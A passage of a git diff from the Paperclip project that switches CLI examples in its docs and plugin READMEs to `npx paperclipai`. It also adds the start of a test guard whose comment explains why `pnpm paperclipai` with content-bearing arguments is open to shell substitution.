npx paperclipai issue update <issue-id> --status in_progress --comment "Started triage"
|
||||
```
|
||||
|
||||
Set defaults once with context profiles:
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai context set --api-base http://localhost:3100 --company-id <company-id>
|
||||
npx paperclipai context set --api-base http://localhost:3100 --company-id <company-id>
|
||||
```
|
||||
|
||||
Then run commands without repeating flags:
|
||||
|
|
@ -961,4 +962,4 @@ Networking behavior for this smoke script:
|
|||
|
||||
- auto-detects and prints a Paperclip host URL reachable from inside OpenClaw Docker
|
||||
- default container-side host alias is `host.docker.internal` (override with `PAPERCLIP_HOST_FROM_CONTAINER` / `PAPERCLIP_HOST_PORT`)
|
||||
- if Paperclip rejects container hostnames in authenticated/private mode, allow `host.docker.internal` via `pnpm exec paperclipai allowed-hostname host.docker.internal` and restart Paperclip
|
||||
- if Paperclip rejects container hostnames in authenticated/private mode, allow `host.docker.internal` via `npx paperclipai allowed-hostname host.docker.internal` and restart Paperclip
|
||||
|
|
|
|||
|
|
@ -79,9 +79,9 @@ The UI prompt points Hermes at the same machine-readable onboarding endpoints:
|
|||
For CLI-driven setup, create and inspect the invite directly:
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai invite create --company-id <company-id> --payload-json '{"requestType":"agent"}'
|
||||
pnpm exec paperclipai invite show <token>
|
||||
pnpm exec paperclipai invite onboarding:text <token>
|
||||
npx paperclipai invite create --company-id <company-id> --payload-json '{"requestType":"agent"}'
|
||||
npx paperclipai invite show <token>
|
||||
npx paperclipai invite onboarding:text <token>
|
||||
```
|
||||
|
||||
Hermes should submit a join request with `requestType: "agent"` and
|
||||
|
|
@ -119,14 +119,14 @@ After Hermes submits the join request:
|
|||
2. Approve it from the board UI, or use:
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai join list --company-id <company-id> --status pending_approval
|
||||
pnpm exec paperclipai join approve <request-id> --company-id <company-id>
|
||||
npx paperclipai join list --company-id <company-id> --status pending_approval
|
||||
npx paperclipai join approve <request-id> --company-id <company-id>
|
||||
```
|
||||
|
||||
3. Hermes claims the one-time agent API key:
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai join claim-key <request-id> --claim-secret <secret>
|
||||
npx paperclipai join claim-key <request-id> --claim-secret <secret>
|
||||
```
|
||||
|
||||
4. Store the claimed Paperclip key in Hermes runtime state or secrets. The claim
|
||||
|
|
@ -182,7 +182,7 @@ Use these entry points depending on who is driving setup:
|
|||
onboarding prompt.
|
||||
- Invite API: `GET /api/invites/:token/onboarding.txt` for the generated
|
||||
llm.txt-style setup instructions.
|
||||
- CLI invite flow: `pnpm exec paperclipai invite create`, `invite show`,
|
||||
- CLI invite flow: `npx paperclipai invite create`, `invite show`,
|
||||
`invite onboarding:text`, `join approve`, and `join claim-key`.
|
||||
- Smoke helpers: `pnpm smoke:hermes-gateway-e2e` for fresh-state Docker
|
||||
verification and `pnpm smoke:hermes-gateway-join` for an already-running
|
||||
|
|
|
|||
|
|
@ -44,7 +44,7 @@ Hold every session to these five, regardless of size:
|
|||
## Reviewing like a designer
|
||||
|
||||
- **Contact sheet**: the diff images under `tests/storybook-visual/test-results/` are your primary review surface; ask the agent to assemble them into a browsable before/after page (or use `npx playwright show-report` from `tests/storybook-visual/`).
|
||||
- **Live test drive**: for big changes, ask for a running instance from the worktree — `pnpm paperclipai worktree init` once, then `PORT=3300 pnpm dev:once` gives an isolated Paperclip (own database, own config; your real instance is untouched). Click around; real use surfaces what screenshots can't.
|
||||
- **Live test drive**: for big changes, ask for a running instance from the worktree — `npx paperclipai worktree init` once, then `PORT=3300 pnpm dev:once` gives an isolated Paperclip (own database, own config; your real instance is untouched). Click around; real use surfaces what screenshots can't.
|
||||
- **Side-by-side Storybook**: old on one port, new on another (`pnpm storybook` in each checkout), flip tabs.
|
||||
- Trust your eyes over the agent's summary. If something looks wrong, say so plainly ("the text in the red boxes is illegible") — vague feedback is fine, the screenshots give the agent the precision.
|
||||
|
||||
|
|
|
|||
|
|
@ -245,10 +245,10 @@ This on-disk model is the reason the current implementation expects a persistent
|
|||
Paperclip should add CLI commands:
|
||||
|
||||
- `pnpm paperclipai plugin list`
|
||||
- `pnpm paperclipai plugin install <package[@version]>`
|
||||
- `pnpm paperclipai plugin uninstall <plugin-id>`
|
||||
- `pnpm paperclipai plugin upgrade <plugin-id> [version]`
|
||||
- `pnpm paperclipai plugin doctor <plugin-id>`
|
||||
- `npx paperclipai plugin install <package[@version]>`
|
||||
- `npx paperclipai plugin uninstall <plugin-id>`
|
||||
- `npx paperclipai plugin upgrade <plugin-id> [version]`
|
||||
- `npx paperclipai plugin doctor <plugin-id>`
|
||||
|
||||
These commands are instance-level operations.
|
||||
|
||||
|
|
@ -1512,7 +1512,7 @@ When a plugin is uninstalled, the host must handle plugin-owned data explicitly.
|
|||
3. Plugin-owned data (`plugin_state`, `plugin_entities`, `plugin_jobs`, `plugin_job_runs`, `plugin_webhook_deliveries`, `plugin_config`) is retained for a configurable grace period (default: 30 days).
|
||||
4. During the grace period, the operator can reinstall the same plugin and recover its state.
|
||||
5. After the grace period, the host purges all plugin-owned data for the uninstalled plugin.
|
||||
6. The operator may force-purge immediately via CLI: `pnpm paperclipai plugin purge <plugin-id>`.
|
||||
6. The operator may force-purge immediately via CLI: `npx paperclipai plugin purge <plugin-id>`.
|
||||
|
||||
### 25.2 Upgrade Data Considerations
|
||||
|
||||
|
|
@ -1676,7 +1676,7 @@ expect(data.syncedCount).toBeGreaterThan(0);
|
|||
|
||||
For developing a plugin against a running Paperclip instance:
|
||||
|
||||
- The operator installs the plugin from a local path: `pnpm paperclipai plugin install ./path/to/plugin`
|
||||
- The operator installs the plugin from a local path: `npx paperclipai plugin install ./path/to/plugin`
|
||||
- The host watches the plugin directory for changes and restarts the worker on rebuild.
|
||||
- `devUiUrl` in plugin config can point to a local Vite dev server for UI hot-reload.
|
||||
- The plugin settings page shows real-time logs from the worker for debugging.
|
||||
|
|
|
|||
|
|
@ -102,7 +102,7 @@ therefore shadows any Codex login already present inside the sandbox image.
|
|||
For manual local CLI usage outside heartbeat runs (for example running as `claudecoder` directly), use:
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai agent local-cli claudecoder --company-id <company-id>
|
||||
npx paperclipai agent local-cli claudecoder --company-id <company-id>
|
||||
```
|
||||
|
||||
This installs Paperclip skills in `~/.claude/skills`, creates an agent API key, and prints shell exports to run as that agent.
|
||||
|
|
|
|||
|
|
@ -141,7 +141,7 @@ change.
|
|||
For manual local CLI usage outside heartbeat runs (for example running as `codexcoder` directly), use:
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai agent local-cli codexcoder --company-id <company-id>
|
||||
npx paperclipai agent local-cli codexcoder --company-id <company-id>
|
||||
```
|
||||
|
||||
This installs any missing skills, creates an agent API key, and prints shell exports to run as that agent.
|
||||
|
|
|
|||
|
|
@ -114,7 +114,7 @@ credentials must not be stored in Paperclip `company_secrets`.
|
|||
The equivalent CLI check is:
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai secrets doctor --company-id {companyId}
|
||||
npx paperclipai secrets doctor --company-id {companyId}
|
||||
```
|
||||
|
||||
## Provider Vaults
|
||||
|
|
@ -485,7 +485,7 @@ as declarations in the package manifest. Exports omit secret values, secret IDs,
|
|||
provider references, and encrypted provider material. Use:
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai secrets declarations --company-id {companyId}
|
||||
npx paperclipai secrets declarations --company-id {companyId}
|
||||
```
|
||||
|
||||
to inspect the declarations that an export would emit before moving a package.
|
||||
|
|
|
|||
|
|
@ -9,39 +9,39 @@ Client-side commands for managing issues, agents, approvals, and more.
|
|||
|
||||
```sh
|
||||
# List issues
|
||||
pnpm exec paperclipai issue list [--status todo,in_progress] [--assignee-agent-id <id>] [--match text]
|
||||
npx paperclipai issue list [--status todo,in_progress] [--assignee-agent-id <id>] [--match text]
|
||||
|
||||
# Get issue details
|
||||
pnpm exec paperclipai issue get <issue-id-or-identifier>
|
||||
npx paperclipai issue get <issue-id-or-identifier>
|
||||
|
||||
# Create issue
|
||||
pnpm exec paperclipai issue create --title "..." [--description "..."] [--status todo] [--priority high]
|
||||
npx paperclipai issue create --title "..." [--description "..."] [--status todo] [--priority high]
|
||||
|
||||
# Update issue
|
||||
pnpm exec paperclipai issue update <issue-id> [--status in_progress] [--comment "..."]
|
||||
npx paperclipai issue update <issue-id> [--status in_progress] [--comment "..."]
|
||||
|
||||
# Add comment
|
||||
pnpm exec paperclipai issue comment <issue-id> --body "..." [--reopen]
|
||||
npx paperclipai issue comment <issue-id> --body "..." [--reopen]
|
||||
|
||||
# Checkout task
|
||||
pnpm exec paperclipai issue checkout <issue-id> --agent-id <agent-id>
|
||||
npx paperclipai issue checkout <issue-id> --agent-id <agent-id>
|
||||
|
||||
# Release task
|
||||
pnpm exec paperclipai issue release <issue-id>
|
||||
npx paperclipai issue release <issue-id>
|
||||
```
|
||||
|
||||
## Company Commands
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai company list
|
||||
pnpm exec paperclipai company get <company-id>
|
||||
pnpm exec paperclipai company current [--company-id <company-id>]
|
||||
npx paperclipai company list
|
||||
npx paperclipai company get <company-id>
|
||||
npx paperclipai company current [--company-id <company-id>]
|
||||
|
||||
# Export to portable folder package (writes manifest + markdown files)
|
||||
pnpm exec paperclipai company export <company-id> --out ./exports/acme --include company,agents
|
||||
npx paperclipai company export <company-id> --out ./exports/acme --include company,agents
|
||||
|
||||
# Preview import (no writes)
|
||||
pnpm exec paperclipai company import \
|
||||
npx paperclipai company import \
|
||||
<owner>/<repo>/<path> \
|
||||
--target existing \
|
||||
--company-id <company-id> \
|
||||
|
|
@ -50,7 +50,7 @@ pnpm exec paperclipai company import \
|
|||
--dry-run
|
||||
|
||||
# Apply import
|
||||
pnpm exec paperclipai company import \
|
||||
npx paperclipai company import \
|
||||
./exports/acme \
|
||||
--target new \
|
||||
--new-company-name "Acme Imported" \
|
||||
|
|
@ -67,80 +67,80 @@ command.
|
|||
## Agent Commands
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai agent list
|
||||
pnpm exec paperclipai agent get <agent-id>
|
||||
npx paperclipai agent list
|
||||
npx paperclipai agent get <agent-id>
|
||||
```
|
||||
|
||||
## Skills Commands
|
||||
|
||||
```sh
|
||||
# Browse app-shipped catalog skills without changing company state
|
||||
pnpm exec paperclipai skills browse [--kind bundled|optional] [--category software-development] [--query github]
|
||||
pnpm exec paperclipai skills search "pull request" [--json]
|
||||
npx paperclipai skills browse [--kind bundled|optional] [--category software-development] [--query github]
|
||||
npx paperclipai skills search "pull request" [--json]
|
||||
|
||||
# Inspect catalog metadata and file inventory before install
|
||||
pnpm exec paperclipai skills inspect github-pr-workflow
|
||||
npx paperclipai skills inspect github-pr-workflow
|
||||
|
||||
# Install a catalog skill into the company skill library
|
||||
# This does not attach the skill to any agent.
|
||||
pnpm exec paperclipai skills install github-pr-workflow --company-id <company-id>
|
||||
pnpm exec paperclipai skills install github-pr-workflow --as pr-flow --force --company-id <company-id>
|
||||
npx paperclipai skills install github-pr-workflow --company-id <company-id>
|
||||
npx paperclipai skills install github-pr-workflow --as pr-flow --force --company-id <company-id>
|
||||
|
||||
# External sources still use import instead of catalog install
|
||||
pnpm exec paperclipai skills import ./skills/my-skill --company-id <company-id>
|
||||
pnpm exec paperclipai skills import owner/repo/path/to/skill --company-id <company-id>
|
||||
npx paperclipai skills import ./skills/my-skill --company-id <company-id>
|
||||
npx paperclipai skills import owner/repo/path/to/skill --company-id <company-id>
|
||||
|
||||
# Attach desired company skills to an agent after install/import
|
||||
pnpm exec paperclipai skills agent sync <agent-id> --skill github-pr-workflow --mode add --company-id <company-id>
|
||||
npx paperclipai skills agent sync <agent-id> --skill github-pr-workflow --mode add --company-id <company-id>
|
||||
```
|
||||
|
||||
## Approval Commands
|
||||
|
||||
```sh
|
||||
# List approvals
|
||||
pnpm exec paperclipai approval list [--status pending]
|
||||
npx paperclipai approval list [--status pending]
|
||||
|
||||
# Get approval
|
||||
pnpm exec paperclipai approval get <approval-id>
|
||||
npx paperclipai approval get <approval-id>
|
||||
|
||||
# Create approval
|
||||
pnpm exec paperclipai approval create --type hire_agent --payload '{"name":"..."}' [--issue-ids <id1,id2>]
|
||||
npx paperclipai approval create --type hire_agent --payload '{"name":"..."}' [--issue-ids <id1,id2>]
|
||||
|
||||
# Approve
|
||||
pnpm exec paperclipai approval approve <approval-id> [--decision-note "..."]
|
||||
npx paperclipai approval approve <approval-id> [--decision-note "..."]
|
||||
|
||||
# Reject
|
||||
pnpm exec paperclipai approval reject <approval-id> [--decision-note "..."]
|
||||
npx paperclipai approval reject <approval-id> [--decision-note "..."]
|
||||
|
||||
# Request revision
|
||||
pnpm exec paperclipai approval request-revision <approval-id> [--decision-note "..."]
|
||||
npx paperclipai approval request-revision <approval-id> [--decision-note "..."]
|
||||
|
||||
# Resubmit
|
||||
pnpm exec paperclipai approval resubmit <approval-id> [--payload '{"..."}']
|
||||
npx paperclipai approval resubmit <approval-id> [--payload '{"..."}']
|
||||
|
||||
# Comment
|
||||
pnpm exec paperclipai approval comment <approval-id> --body "..."
|
||||
npx paperclipai approval comment <approval-id> --body "..."
|
||||
```
|
||||
|
||||
## Activity Commands
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai activity list [--agent-id <id>] [--entity-type issue] [--entity-id <id>]
|
||||
npx paperclipai activity list [--agent-id <id>] [--entity-type issue] [--entity-id <id>]
|
||||
```
|
||||
|
||||
## Dashboard
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai dashboard get
|
||||
npx paperclipai dashboard get
|
||||
```
|
||||
|
||||
## Instance Settings
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai instance settings:general
|
||||
pnpm exec paperclipai instance settings:general:update --payload-json '{...}'
|
||||
pnpm exec paperclipai instance settings:experimental
|
||||
pnpm exec paperclipai instance settings:experimental:update --payload-json '{...}'
|
||||
npx paperclipai instance settings:general
|
||||
npx paperclipai instance settings:general:update --payload-json '{...}'
|
||||
npx paperclipai instance settings:experimental
|
||||
npx paperclipai instance settings:experimental:update --payload-json '{...}'
|
||||
```
|
||||
|
||||
Experimental features are opt-in and are provided without compatibility guarantees. They may break, change, or be removed at any time. Use them at your own risk.
|
||||
|
|
@ -148,5 +148,5 @@ Experimental features are opt-in and are provided without compatibility guarante
|
|||
## Heartbeat
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai heartbeat run --agent-id <agent-id> [--api-base http://localhost:3100]
|
||||
npx paperclipai heartbeat run --agent-id <agent-id> [--api-base http://localhost:3100]
|
||||
```
|
||||
|
|
|
|||
|
|
@ -29,7 +29,7 @@ Company-scoped commands also accept `--company-id <id>`.
|
|||
For clean local instances, pass `--data-dir` on the command you run:
|
||||
|
||||
```sh
|
||||
pnpm paperclipai run --data-dir ./tmp/paperclip-dev
|
||||
npx paperclipai run --data-dir ./tmp/paperclip-dev
|
||||
```
|
||||
|
||||
## Context Profiles
|
||||
|
|
@ -38,7 +38,7 @@ Store defaults to avoid repeating flags:
|
|||
|
||||
```sh
|
||||
# Set defaults
|
||||
pnpm exec paperclipai context set --api-base http://localhost:3100 --company-id <id>
|
||||
npx paperclipai context set --api-base http://localhost:3100 --company-id <id>
|
||||
|
||||
# View current context
|
||||
pnpm paperclipai context show
|
||||
|
|
@ -47,24 +47,24 @@ pnpm paperclipai context show
|
|||
pnpm paperclipai context list
|
||||
|
||||
# Switch profile
|
||||
pnpm paperclipai context use default
|
||||
npx paperclipai context use default
|
||||
```
|
||||
|
||||
To avoid storing secrets in context, use an env var:
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai context set --api-key-env-var-name PAPERCLIP_API_KEY
|
||||
npx paperclipai context set --api-key-env-var-name PAPERCLIP_API_KEY
|
||||
export PAPERCLIP_API_KEY=...
|
||||
```
|
||||
|
||||
Secret operations are available under `paperclipai secrets`:
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai secrets declarations --company-id <company-id> --kind secret
|
||||
pnpm exec paperclipai secrets create --company-id <company-id> --name anthropic-api-key --value-env ANTHROPIC_API_KEY
|
||||
pnpm exec paperclipai secrets link --company-id <company-id> --name prod-stripe-key --provider aws_secrets_manager --external-ref <provider-ref>
|
||||
pnpm exec paperclipai secrets doctor --company-id <company-id>
|
||||
pnpm exec paperclipai secrets migrate-inline-env --company-id <company-id> --apply
|
||||
npx paperclipai secrets declarations --company-id <company-id> --kind secret
|
||||
npx paperclipai secrets create --company-id <company-id> --name anthropic-api-key --value-env ANTHROPIC_API_KEY
|
||||
npx paperclipai secrets link --company-id <company-id> --name prod-stripe-key --provider aws_secrets_manager --external-ref <provider-ref>
|
||||
npx paperclipai secrets doctor --company-id <company-id>
|
||||
npx paperclipai secrets migrate-inline-env --company-id <company-id> --apply
|
||||
```
|
||||
|
||||
Context is stored at `~/.paperclip/context.json`.
|
||||
|
|
|
|||
|
|
@ -22,7 +22,7 @@ Does:
|
|||
Choose a specific instance:
|
||||
|
||||
```sh
|
||||
pnpm paperclipai run --instance dev
|
||||
npx paperclipai run --instance dev
|
||||
```
|
||||
|
||||
## `paperclipai onboard`
|
||||
|
|
@ -104,7 +104,7 @@ This now includes bind-oriented deployment settings such as `PAPERCLIP_BIND` and
|
|||
Allow a private hostname for authenticated/private mode:
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai allowed-hostname my-tailscale-host
|
||||
npx paperclipai allowed-hostname my-tailscale-host
|
||||
```
|
||||
|
||||
## Local Storage Paths
|
||||
|
|
@ -126,6 +126,6 @@ PAPERCLIP_HOME=/custom/home PAPERCLIP_INSTANCE_ID=dev pnpm paperclipai run
|
|||
Or pass `--data-dir` directly on any command:
|
||||
|
||||
```sh
|
||||
pnpm paperclipai run --data-dir ./tmp/paperclip-dev
|
||||
pnpm paperclipai doctor --data-dir ./tmp/paperclip-dev
|
||||
npx paperclipai run --data-dir ./tmp/paperclip-dev
|
||||
npx paperclipai doctor --data-dir ./tmp/paperclip-dev
|
||||
```
|
||||
|
|
|
|||
|
|
@ -42,7 +42,7 @@ pnpm paperclipai onboard
|
|||
Allow custom Tailscale hostnames:
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai allowed-hostname my-machine
|
||||
npx paperclipai allowed-hostname my-machine
|
||||
```
|
||||
|
||||
### `authenticated` + `public`
|
||||
|
|
|
|||
|
|
@ -64,7 +64,7 @@ pnpm dev --authenticated-private
|
|||
Allow additional private hostnames:
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai allowed-hostname dotta-macbook-pro
|
||||
npx paperclipai allowed-hostname dotta-macbook-pro
|
||||
```
|
||||
|
||||
For full setup and troubleshooting, see [Tailscale Private Access](/deploy/tailscale-private-access).
|
||||
|
|
@ -84,10 +84,10 @@ curl http://localhost:3100/api/companies
|
|||
For safer parallel local experiments, initialize a dedicated worktree instance instead of reusing your main checkout:
|
||||
|
||||
```sh
|
||||
pnpm paperclipai worktree:make local-lab --seed-mode minimal
|
||||
npx paperclipai worktree:make local-lab --seed-mode minimal
|
||||
cd ~/paperclip-local-lab
|
||||
pnpm paperclipai worktree env # inspect generated env exports
|
||||
eval "$(pnpm paperclipai worktree env)" # bash/zsh
|
||||
eval "$(npx paperclipai worktree env)" # bash/zsh
|
||||
pnpm paperclipai run
|
||||
pnpm paperclipai doctor
|
||||
```
|
||||
|
|
@ -95,14 +95,15 @@ pnpm paperclipai doctor
|
|||
If the experiment gets noisy, repair or reseed the worktree without touching the main branch:
|
||||
|
||||
```sh
|
||||
pnpm paperclipai worktree repair --branch paperclip-local-lab
|
||||
pnpm paperclipai worktree reseed --from . --to paperclip-local-lab
|
||||
# worktree repair rebuilds the local checkout metadata, so run the checked-out CLI through the direct-exec form.
|
||||
node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts worktree repair --branch paperclip-local-lab
|
||||
npx paperclipai worktree reseed --from . --to paperclip-local-lab
|
||||
```
|
||||
|
||||
When done, shut it down and remove the isolated state explicitly:
|
||||
|
||||
```sh
|
||||
pnpm paperclipai worktree:cleanup local-lab --force
|
||||
npx paperclipai worktree:cleanup local-lab --force
|
||||
```
|
||||
|
||||
## Reset Dev Data
|
||||
|
|
|
|||
|
|
@ -203,7 +203,7 @@ Validate secrets config:
|
|||
|
||||
```sh
|
||||
pnpm paperclipai doctor
|
||||
pnpm exec paperclipai secrets doctor --company-id <company-id>
|
||||
npx paperclipai secrets doctor --company-id <company-id>
|
||||
```
|
||||
|
||||
### Environment Overrides
|
||||
|
|
@ -475,8 +475,8 @@ store.
|
|||
If you have existing agents with inline API keys in their config, migrate them to encrypted secret refs:
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai secrets migrate-inline-env --company-id <company-id>
|
||||
pnpm exec paperclipai secrets migrate-inline-env --company-id <company-id> --apply
|
||||
npx paperclipai secrets migrate-inline-env --company-id <company-id>
|
||||
npx paperclipai secrets migrate-inline-env --company-id <company-id> --apply
|
||||
|
||||
# low-level script for direct database maintenance
|
||||
pnpm secrets:migrate-inline-env # dry run
|
||||
|
|
@ -493,7 +493,7 @@ Company exports include only environment declarations. They do not include
|
|||
secret IDs, provider references, encrypted material, or plaintext values.
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai secrets declarations --company-id <company-id> --kind secret
|
||||
npx paperclipai secrets declarations --company-id <company-id> --kind secret
|
||||
```
|
||||
|
||||
Before importing a package into another instance, use those declarations to
|
||||
|
|
|
|||
|
|
@ -58,7 +58,7 @@ http://my-macbook.tailnet.ts.net:3100
|
|||
If you access Paperclip with a custom private hostname, add it to the allowlist:
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai allowed-hostname my-macbook.tailnet.ts.net
|
||||
npx paperclipai allowed-hostname my-macbook.tailnet.ts.net
|
||||
```
|
||||
|
||||
## 5. Verify the server is reachable
|
||||
|
|
|
|||
|
|
@ -36,7 +36,7 @@ Shows a color-coded summary: vote counts, per-trace details with reasons, and ex
|
|||
paperclipai feedback report
|
||||
|
||||
# Point to a different server or company
|
||||
pnpm exec paperclipai feedback report --api-base http://127.0.0.1:3000 --company-id <company-id>
|
||||
npx paperclipai feedback report --api-base http://127.0.0.1:3000 --company-id <company-id>
|
||||
|
||||
# Include raw payload dumps in the report
|
||||
pnpm paperclipai feedback report --payloads
|
||||
|
|
@ -112,7 +112,7 @@ Exports are full by default. `traces/` keeps the Paperclip envelope, while `full
|
|||
|
||||
```bash
|
||||
# Custom server and output directory
|
||||
pnpm exec paperclipai feedback export --api-base http://127.0.0.1:3000 --company-id <company-id> --out ./my-export
|
||||
npx paperclipai feedback export --api-base http://127.0.0.1:3000 --company-id <company-id> --out ./my-export
|
||||
```
|
||||
|
||||
### Reading an exported trace
|
||||
|
|
|
|||
|
|
@ -23,7 +23,7 @@ The CLI exposes the same surface:
|
|||
|
||||
```sh
|
||||
pnpm paperclipai instance settings:experimental
|
||||
pnpm exec paperclipai instance settings:experimental:update --payload-json '{...}'
|
||||
npx paperclipai instance settings:experimental:update --payload-json '{...}'
|
||||
```
|
||||
|
||||
Those commands change the same opt-in settings that the UI manages.
|
||||
|
|
|
|||
|
|
@ -82,7 +82,7 @@ PAPERCLIP_COOKIE="your_session_cookie=..." pnpm smoke:openclaw-join
|
|||
- If Paperclip rejects the container-visible host with a hostname error, allow it from host:
|
||||
|
||||
```bash
|
||||
pnpm exec paperclipai allowed-hostname host.docker.internal
|
||||
npx paperclipai allowed-hostname host.docker.internal
|
||||
```
|
||||
|
||||
Then restart Paperclip and rerun the smoke script.
|
||||
|
|
@ -90,7 +90,7 @@ Then restart Paperclip and rerun the smoke script.
|
|||
- Authenticated/private mode: ensure hostnames are in the allowed list when required:
|
||||
|
||||
```bash
|
||||
pnpm exec paperclipai allowed-hostname <host>
|
||||
npx paperclipai allowed-hostname <host>
|
||||
```
|
||||
|
||||
## Prerequisites
|
||||
|
|
|
|||
|
|
@ -14,7 +14,7 @@ pnpm test
|
|||
## Install Into Paperclip
|
||||
|
||||
```bash
|
||||
pnpm paperclipai plugin install ./
|
||||
npx paperclipai plugin install ./
|
||||
```
|
||||
|
||||
## Build Options
|
||||
|
|
|
|||
|
|
@ -39,13 +39,13 @@ From the repo root, build the plugin and install it by local path:
|
|||
|
||||
```bash
|
||||
pnpm --filter @paperclipai/plugin-file-browser-example build
|
||||
pnpm paperclipai plugin install ./packages/plugins/examples/plugin-file-browser-example
|
||||
npx paperclipai plugin install ./packages/plugins/examples/plugin-file-browser-example
|
||||
```
|
||||
|
||||
To uninstall:
|
||||
|
||||
```bash
|
||||
pnpm paperclipai plugin uninstall paperclip-file-browser-example --force
|
||||
npx paperclipai plugin uninstall paperclip-file-browser-example --force
|
||||
```
|
||||
|
||||
**Local development notes:**
|
||||
|
|
|
|||
|
|
@ -26,7 +26,7 @@ From the repo root, build the plugin and install it by local path:
|
|||
|
||||
```bash
|
||||
pnpm --filter @paperclipai/plugin-hello-world-example build
|
||||
pnpm paperclipai plugin install ./packages/plugins/examples/plugin-hello-world-example
|
||||
npx paperclipai plugin install ./packages/plugins/examples/plugin-hello-world-example
|
||||
```
|
||||
|
||||
**Local development notes:**
|
||||
|
|
@ -34,5 +34,5 @@ pnpm paperclipai plugin install ./packages/plugins/examples/plugin-hello-world-e
|
|||
- **Build first.** The host resolves the worker from the manifest `entrypoints.worker` (e.g. `./dist/worker.js`). Run `pnpm build` in the plugin directory before installing so the worker file exists.
|
||||
- **Dev-only install path.** This local-path install flow assumes a source checkout with this example package present on disk. For deployed installs, publish an npm package instead of relying on the monorepo example path.
|
||||
- **Reinstall after pulling.** If you installed a plugin by local path before the server stored `package_path`, the plugin may show status **error** (worker not found). Uninstall and install again so the server persists the path and can activate the plugin:
|
||||
`pnpm paperclipai plugin uninstall paperclip.hello-world-example --force` then
|
||||
`pnpm paperclipai plugin install ./packages/plugins/examples/plugin-hello-world-example`.
|
||||
`npx paperclipai plugin uninstall paperclip.hello-world-example --force` then
|
||||
`npx paperclipai plugin install ./packages/plugins/examples/plugin-hello-world-example`.
|
||||
|
|
|
|||
|
|
@ -21,7 +21,7 @@ This plugin is for local development, contributor onboarding, and runtime regres
|
|||
|
||||
```sh
|
||||
pnpm --filter @paperclipai/plugin-kitchen-sink-example build
|
||||
pnpm paperclipai plugin install ./packages/plugins/examples/plugin-kitchen-sink-example
|
||||
npx paperclipai plugin install ./packages/plugins/examples/plugin-kitchen-sink-example
|
||||
```
|
||||
|
||||
Or install it from the Paperclip plugin manager as a bundled example once this repo is built.
|
||||
|
|
|
|||
|
|
@ -41,7 +41,7 @@ Wait for `Server listening on 127.0.0.1:3100`.
|
|||
### 3. Install the plugin via the CLI
|
||||
|
||||
```bash
|
||||
pnpm paperclipai plugin install \
|
||||
npx paperclipai plugin install \
|
||||
--local /path/to/paperclip/packages/plugins/sandbox-providers/kubernetes \
|
||||
--api-base http://127.0.0.1:3100
|
||||
```
|
||||
|
|
|
|||
|
|
@ -4,19 +4,28 @@ import { fileURLToPath } from "node:url";
|
|||
import { describe, expect, it } from "vitest";
|
||||
import { generateReadme } from "../services/company-export-readme.js";
|
||||
|
||||
// The Paperclip CLI is unsafe when an operator or agent runs it through
|
||||
// The Paperclip CLI is unsafe when an operator or an agent runs it through
|
||||
// `pnpm paperclipai <sub> <arg>` with a content-bearing argument. `pnpm` treats
|
||||
// `paperclipai` as a `package.json` script and wraps the argument in a
|
||||
// double-quoted `/bin/sh` string. The shell then runs command substitution (a
|
||||
// backtick pair or `$( )`) and variable expansion (`$NAME`) before the CLI
|
||||
// starts. `pnpm exec paperclipai` runs the installed binary directly. It passes
|
||||
// the argument as an inert argv value and does not run a shell. The safe form
|
||||
// and the unsafe form differ only by the `exec` keyword.
|
||||
// `paperclipai` as a `package.json` script. It appends the argument to a
|
||||
// double-quoted `/bin/sh` command string, so the shell reads the argument first
|
||||
// and runs command substitution (a backtick pair or `$( )`) and variable
|
||||
// expansion (`$NAME`) before the CLI starts. `npx paperclipai` runs the CLI
|
||||
// binary directly. It passes the argument as an inert argv value and does not
|
||||
// run a shell over the value. `npx paperclipai` is the safe form.
|
||||
//
|
||||
// This guard has two parts. First, it asserts that the runtime surfaces which
|
||||
// build a CLI instruction from a non-fixed value emit the safe `pnpm exec` form.
|
||||
// Second, it scans the guidance surfaces across the repository for any
|
||||
// content-bearing `pnpm paperclipai` example that returned to the docs.
|
||||
// `pnpm exec paperclipai` is not a safe substitute. The root workspace does not
|
||||
// depend on the `paperclipai` package, so `pnpm` never links its binary into
|
||||
// `node_modules/.bin`. The command fails with `Command "paperclipai" not found`,
|
||||
// even after a build. The guard bans it from the guidance surfaces.
|
||||
//
|
||||
// This guard is fail-closed against an exact allowlist. A `pnpm paperclipai`
|
||||
// line is allowed only when its full command string matches an exact entry in
|
||||
// `PNPM_ALLOWLIST`. Each allowlist entry is a fully literal local lifecycle or
|
||||
// setup command. A fully literal command carries no substitutable value: no
|
||||
// placeholder, no example value the reader replaces, no interpolation, no path,
|
||||
// no ref, no id, and no name. It holds the subcommand and, at most, flags that
|
||||
// take no value. Every other `pnpm paperclipai` line is an offender and must use
|
||||
// `npx paperclipai` (or the direct-exec form for local source).
|
||||
|
||||
const here = path.dirname(fileURLToPath(import.meta.url));
|
||||
const repoRoot = path.resolve(here, "../../..");
|
||||
|
|
@ -25,82 +34,285 @@ function read(relPath: string): string {
|
|||
return readFileSync(path.join(repoRoot, relPath), "utf8");
|
||||
}
|
||||
|
||||
// ── Content-bearing detection ─────────────────────────────────────────────
|
||||
//
|
||||
// A `pnpm paperclipai` line is content-bearing when it carries an argument that
|
||||
// an agent or operator can fill from untrusted or semi-trusted content: an
|
||||
// issue body, a comment, Markdown, a pasted snippet, model output, a hostname
|
||||
